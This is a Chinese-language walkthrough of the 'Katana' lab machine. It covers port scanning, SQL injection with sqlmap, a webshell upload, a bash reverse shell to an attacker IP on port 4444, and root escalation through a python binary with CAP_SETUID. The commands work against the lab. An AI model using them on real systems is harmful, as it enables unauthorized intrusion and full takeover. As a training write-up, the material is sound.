前言
武士刀这题作者自评为中级难度。确实,Web方面做着有点迷,提权方面又学到了个小trick。
利用过程
照样nmap全端口扫描,开了ftp、ssh、samba和http服务。
1 | nmap -sV -p- -T 4 192.168.189.135 |
先去看看80端口的http服务,dirb扫到了个ebook目录,发现到处都是注入。
没waf直接上大杀器sqlmap,除了information_schema,还有个ebook库,里面有个admin表,记着管理员密码,其他没什么东西。
1 | sqlmap -u http://192.168.189.135/ebook/book.php?bookisbn=978-1-484217-26-9 --batch -D ebook --tables |
非DBA用户,sqlmap直接爆破出来管理员密码。
进到后台又添加书本功能,能上传图片,但实测不管是webshell还是正常图片,都没能成功上传。
后面看其他的端口,在8088端口发现了个upload页面。一开始用dirb什么也没扫出来,加了个-x
参数扫后缀名就出来了。
1 | dirb http://192.168.189.135:8088/ /usr/share/wordlists/dirb/big.txt -x /usr/share/wordlists/dirb/extensions_common.txt |
上传了一个webshell测试下,发现重命名移去一个新的目录。当前端口试了下都没找到上传的webshell,看下walkthough原来是在其他端口的http服务上。
在8715端口发现了上传的webshell,在这正确要验证授权,直接用sqlmap跑出来的管理员密码admin就行了。
一句话反弹了个shell。
1 | system('/bin/bash -c "bash -i >& /dev/tcp/192.168.189.129/4444 0>&1"'); |
用privilege-escalation-awesome-scripts-suite收集信息,没看见有什么能利用的点。
瞄了下,用个新trick:Capilities特权操作属性,其中CAP_SETUID属性可通过python、perl提权,CAP_DAC_READ_SEARCH可通过tar提权。
用下面的命令搜索具有Capilities特权操作属性的文件。
1 | getcap -r / 2>/dev/null |
python 设置uid,再弹个shell即可提权,命令如下:
1 | /usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash")' |